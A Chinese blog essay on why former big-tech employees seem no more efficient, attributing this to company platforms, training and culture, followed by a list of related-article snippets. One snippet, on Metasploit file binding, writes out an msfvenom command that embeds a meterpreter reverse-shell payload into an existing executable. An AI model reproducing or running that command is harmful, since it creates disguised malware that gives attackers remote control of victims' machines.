大厂出来的人为什么不比你高效?

在最近参加的一个线下聚会上,有人问我:“我们单位有来自阿里、腾讯、华为这些大厂的人,为什么我没觉得他们做事比我们这些没大厂经历的人更有章法和效率?”你别说,这一问所反映的现象,与我在阿里巴巴工作时所观察到的是一致的。
我在阿里巴巴工作的近十年里,同样观察到那些曾在IBM、Oracle、Google、Microsoft任职过的人,来到阿里巴巴后并没有展现出在上一家公司做事的章法和效率,而是很快被身边的同事同化。如果你怀疑这一现象的普遍性,可以回头看一下过去五年、十年,自己所在公司的做事章法和效率有没有得到可观的改善。我猜大概率你的回答是:“没有”。大厂出来的人会流向各行各业的软件开发团队,而“没有”的答案也意味着,这些有大厂经历的人并没有显著拉高行业的整体做事水准。
照理这么多知名企业在“为社会培养人才”,是不是出现这样的结果让人费解呢?借这文章,我先分享一下所发现的二个门道。
门道一,任何企业都是通过将员工螺丝钉化来提升公司整体的工作质效的。听到“螺丝钉”这三个字咱可千万别不高兴,以为将员工比作螺丝钉就矮化了个人的价值和重要性。将员工螺丝钉化,无论对于企业还是员工可都是好事。从企业的角度来说,那是打造“铁打的营盘”的必然,这样营盘上的螺丝钉员工就既好用又好换。从个人的角度呢,因为有更小且具体而明确的工作边界和责任,这样做事就聚焦而更容易出成果。
不过,员工尽心“打螺丝”虽好,可只想做螺丝钉就会出问题,且是大问题。当我们在一家企业工作只顾着做螺丝钉,而没有关心螺丝钉背后的营盘是怎么设计的时,往往意味着对软件行业的认识是非常片面的。比如说,公司的软件开发平台为什么要有持续集成/持续交付/持续部署、代码审查、单元测试、动态分析、静态分析和性能分析这些流程,甚至使这些流程最大程度地自动化和易用,背后就涉及个人对软件工程的理解,进一步这是每位程序员的专业素养的重要组成部分。当没有理解营盘背后的内容时,就很容易采取全靠人力来提升工作质量和效率的“野蛮”模式,出现996不说,还干不出成效。
知道了这个门道后,就不难理解门道二了,那就是:个人的工作质效是建立于所在公司的工作环境之上的。工作环境可以是公司层面的软件开发平台,团队文化氛围,激励机制等内容,是每个人在日常工作中会持续接触和依赖的。换句话说,如果一名员工在A公司的工作质效蛮好,可跳槽到B公司后发现使不上劲,那大概率是因为B公司的工作环境没有A公司的好。
当然啦,说到两个公司工作环境的好坏,如何比较是一件让人头痛的事。我建议比较时,抓住三点即可。第一,公司有没有投入资源去打造工作平台(对于软件开发团队来说就是软件开发平台),帮助员工提升工作质量和效率。第二,公司有没有投入资源培养员工的做事专业度。第三,公司的文化氛围是否会激励员工持续地提升工作质效。
就我的观察,以上三点中的第一点是很多大厂都在干的事,可第二和第三点是很多大厂都忽视的事。由于后两点的忽视,就会出现公司在第一点上用劲所产出的工作平台,最后制约了工作质量和效率。原因很简单,工作平台也是由员工打造的,当公司不重视培养员工的做事专业度时,打造工作平台的员工自然少了对专业做事的至简洞察,从而做不出让人称手的工作平台,或者工作平台的演进跟不上新技术的发展。
了解了这两个门道后,我们就能理解大厂出来的人并不比你高效这一现象了。我认为主要是三大点:第一,你们都在同一家公司工作,因为共享同样的工作环境而凸显不出大厂员工的高效;第二,那些人在大厂工作时只停留于做好螺丝钉,当他加入你所在的公司后,因为没能理解大厂的营盘的价值,从而没能发挥改善眼前的工作环境的作用;第三,来自大厂的同事即便有良好的做事素养,但因为没有心力坚守,被眼前的工作环境裹挟而变得低效。
当然,改善一个公司的工作环境不只是理解营盘的价值那么简单。也正因如此,我在《全面效能》这本书中,花了非常大的篇幅来分享我是如何将作坊团队变成专业做事的团队的。

最后,我想请你思考一个问题:程序员的核心竞争力是什么?在你思考这个问题之前,我想提醒,核心竞争力除了有助于我们在后浪面前保持竞争力外,还让人在职业发展的过程中更难被别人和AI这样的新技术取代。在即将到来的10月18日的QCon上海站,我分享《AI时代团队管理的变与不变》这个话题时,也将和你分享我对程序员核心竞争力的思考。你除了可以来现场与我交流外,也可以等我后面的文章与你分享我的思考。在那之前,期待你在这篇文章后面留言与我交流。
相关文章:
大厂出来的人为什么不比你高效?
在最近参加的一个线下聚会上,有人问我:“我们单位有来自阿里、腾讯、华为这些大厂的人,为什么我没觉得他们做事比我们这些没大厂经历的人更有章法和效率?”你别说,这一问所反映的现象,与我在阿里巴巴工作时…...
71.【C语言】动态内存管理(重点)(4)
本文为数据结构打下基础 备注:数据结构需要掌握指针,结构体和动态内存管理 目录 6.常见的动态内存的错误 1.对空指针解引用 2.对动态空间的越界访问 3.对非动态内存空间进行free释放 4.使用free只释放开辟的内存空间的一部分 5.对同一块动态内存多次释放 6.动态开辟的…...
JavaScript 用HTML5约束验证API做表单验证
一、验证属性与通过与否 以下为在表单元素上的可用属性: required<boolean> 必填字段,接受布尔值,默认false pattern<string> 接受正则,用户输入的文本必须满足该正则表单元素对象上有checkValidity()方法ÿ…...
Unity 编辑器多开
开发多人联机的功能时大多数会遇到测试机不方便的问题。想多开同一个项目Uinty又禁止。。。因为在使用Unity Editor打开一个项目时,Unity Editor会在项目目录建立一个Temp目录,同时对里面的一个UnityLockfile文件进行加锁。SO...可以使用以下方法进行多开…...
【Spring Boot React】Spring Boot和React教程 完整版
【Spring Boot & React】Spring Boot和React教程 在B站找到一个不错的SpringBoot和React的学习视频,作者是amigoscode 【Spring Boot & React】Spring Boot和React教程 2023年更新版【Spring Boot React】价值79.9美元,全栈开发,搭…...
Linux中的多线程
Linux线程概念 在一个程序里的一个执行路线就叫做线程(thread)。更准确的定义是:线程是“一个进程内部的控制序 列” 进程是系统分配资源的基本实体 线程是CPU调度的基本单位 POSIX线程库 创建线程 功能:创建一个新的线程 原…...
《计算机原理与系统结构》学习系列
系列文章目录 一、计算机概要与技术 二、指令:计算机的语言(上) 三、指令:计算机的语言(中) 四、指令:计算机的语言(下) 五、计算机的算数运算(上&#…...
征程6 工具链常用工具和 API 整理(含新手示例)
1.引言 征程6 工具链目前已经提供了比较丰富的集成化工具和接口来支持模型的移植和量化部署,本帖将整理常用的工具/接口以及使用示例来供大家参考,相信这篇文章会提升大家对 征程6 工具链的使用理解以及效率。 干货满满,欢迎访问 2.hb_con…...
我有一张图,我怎么让midjourney按照这张图继续生成呢?
使用文字生成图片是一种基本的功能,但是还有一种场景,不是从文字生成图片,而是基于已有的一张图片生成另一张图片,这个时候,就需要以图生图的功能了。 以图生图:image to image generator 以图生图技术让我们见识到…...
MSF捆绑文件
msf捆绑文件 msf快速打开不启动banner msfconsole -q msf捆绑文件 msfvenom -p windows/meterpreter/reverse_tcp LHOST127.0.0.1 LPORT8888 -f exe -x 1.exe -o msf.exe...
01_SQLite
文章目录 ** SQLite 存储各类和数据类型 **** SQLite 五种亲缘类型** SQLite 创建数据表删除数据表插入数据信息从数据表中获取数据,以结果表的形式返回数据(结果集)updatedistinctorder bygroup byhaving触发器删除一个触发器(tr…...
【STM32开发笔记】移植AI框架TensorFlow到STM32单片机【下篇】
【STM32开发笔记】移植AI框架TensorFlow到STM32单片机【下篇】 一、上篇回顾二、项目准备2.1 准备模板项目2.2 支持计时功能2.3 配置UART4引脚2.4 支持printf重定向到UART42.5 支持printf输出浮点数2.6 支持printf不带\r的换行2.7 支持ccache编译缓存 三、TFLM集成3.1 添加tfli…...
畅阅读小程序|畅阅读系统|基于java的畅阅读系统小程序设计与实现(源码+数据库+文档)
畅阅读系统小程序 目录 基于java的畅阅读系统小程序设计与实现 一、前言 二、系统功能设计 三、系统实现 四、数据库设计 1、实体ER图 五、核心代码 六、论文参考 七、最新计算机毕设选题推荐 八、源码获取: 博主介绍:✌️大厂码农|毕设布道师…...
【机器学习(十一)】糖尿病数据集分类预测案例分析—XGBoost分类算法—Sentosa_DSML社区版
文章目录 一、XGBoost算法二、Python代码和Sentosa_DSML社区版算法实现对比(一) 数据读入和统计分析(二)数据预处理(三)模型训练与评估(四)模型可视化 三、总结 一、XGBoost算法 关于集成学习中的XGBoost算法原理,已经进行了介绍与总结,相关内容可参考【…...
二分查找一>寻找峰值
1.题目: 2.解析: 暴力遍历代码:O(N),由于该题数据很少所以可以通过 暴力遍历:O(N),由于该题数据很少所以可以通过int index 0;for(int i 1; i < nums.length-1; i) {//某段区域内一直递增,更新就indexif(nums[i]…...
《Linux从小白到高手》理论篇:深入理解Linux的网络管理
今天继续宅家,闲来无事接着写。本篇详细深入介绍Linux的网络管理。 如你所知,在Linux中一切皆文件。网卡在 Linux 操作系统中用 ethX,是由 0 开始的正整数,比如 eth0、eth1… ethX。而普通猫和ADSL 的接口是 pppX,比如 ppp0 等。 …...
redis数据类型介绍
1. 字符串(String) 字符串是 Redis 中最基本的数据类型,它可以存储任何形式的字符串,包括文本、数字等。字符串类型的操作非常丰富,比如 SET、GET、INCR(自增)、DECR(自减࿰…...
一张照片变换古风写真,Flux如何做到?
前言 解锁图像创作新体验:ComfyUI指南 在AI图像生成领域,ComfyUI 已成为不可忽视的力量。它是基于Stable Diffusion的图像生成工具,提供了一个节点式图形用户界面(GUI),让用户可以通过简单的拖拽与配置来…...
医药行业的智能合同审查:大模型与AI赋能合规管理
随着医药行业的快速发展,尤其是在全球化背景下,企业在业务拓展、合作协议签订中需要处理大量复杂的合同。合同不仅是业务的法律保障,更是风险管理的重要工具。医药行业合同审查的复杂性源于其严格的合规性要求,包括与政府机构、研…...
幂等性接口实现
1、什么是幂等性 幂等(idempotence),这个词源自数学,幂等性是数学中的一个概念,常见于抽象代数中。表达的是N次变换与1次变换的结果相同。简单来说,就是如果方法调用一次和调用多次产生的效果是相同的&…...
后进先出(LIFO)详解
LIFO 是 Last In, First Out 的缩写,中文译为后进先出。这是一种数据结构的工作原则,类似于一摞盘子或一叠书本: 最后放进去的元素最先出来 -想象往筒状容器里放盘子: (1)你放进的最后一个盘子(…...
uniapp 对接腾讯云IM群组成员管理(增删改查)
UniApp 实战:腾讯云IM群组成员管理(增删改查) 一、前言 在社交类App开发中,群组成员管理是核心功能之一。本文将基于UniApp框架,结合腾讯云IM SDK,详细讲解如何实现群组成员的增删改查全流程。 权限校验…...
手游刚开服就被攻击怎么办?如何防御DDoS?
开服初期是手游最脆弱的阶段,极易成为DDoS攻击的目标。一旦遭遇攻击,可能导致服务器瘫痪、玩家流失,甚至造成巨大经济损失。本文为开发者提供一套简洁有效的应急与防御方案,帮助快速应对并构建长期防护体系。 一、遭遇攻击的紧急应…...
【Oracle APEX开发小技巧12】
有如下需求: 有一个问题反馈页面,要实现在apex页面展示能直观看到反馈时间超过7天未处理的数据,方便管理员及时处理反馈。 我的方法:直接将逻辑写在SQL中,这样可以直接在页面展示 完整代码: SELECTSF.FE…...
如何在看板中体现优先级变化
在看板中有效体现优先级变化的关键措施包括:采用颜色或标签标识优先级、设置任务排序规则、使用独立的优先级列或泳道、结合自动化规则同步优先级变化、建立定期的优先级审查流程。其中,设置任务排序规则尤其重要,因为它让看板视觉上直观地体…...
Swift 协议扩展精进之路:解决 CoreData 托管实体子类的类型不匹配问题(下)
概述 在 Swift 开发语言中,各位秃头小码农们可以充分利用语法本身所带来的便利去劈荆斩棘。我们还可以恣意利用泛型、协议关联类型和协议扩展来进一步简化和优化我们复杂的代码需求。 不过,在涉及到多个子类派生于基类进行多态模拟的场景下,…...
Frozen-Flask :将 Flask 应用“冻结”为静态文件
Frozen-Flask 是一个用于将 Flask 应用“冻结”为静态文件的 Python 扩展。它的核心用途是:将一个 Flask Web 应用生成成纯静态 HTML 文件,从而可以部署到静态网站托管服务上,如 GitHub Pages、Netlify 或任何支持静态文件的网站服务器。 &am…...
反射获取方法和属性
Java反射获取方法 在Java中,反射(Reflection)是一种强大的机制,允许程序在运行时访问和操作类的内部属性和方法。通过反射,可以动态地创建对象、调用方法、改变属性值,这在很多Java框架中如Spring和Hiberna…...
【服务器压力测试】本地PC电脑作为服务器运行时出现卡顿和资源紧张(Windows/Linux)
要让本地PC电脑作为服务器运行时出现卡顿和资源紧张的情况,可以通过以下几种方式模拟或触发: 1. 增加CPU负载 运行大量计算密集型任务,例如: 使用多线程循环执行复杂计算(如数学运算、加密解密等)。运行图…...
OpenPrompt 和直接对提示词的嵌入向量进行训练有什么区别
OpenPrompt 和直接对提示词的嵌入向量进行训练有什么区别 直接训练提示词嵌入向量的核心区别 您提到的代码: prompt_embedding = initial_embedding.clone().requires_grad_(True) optimizer = torch.optim.Adam([prompt_embedding...
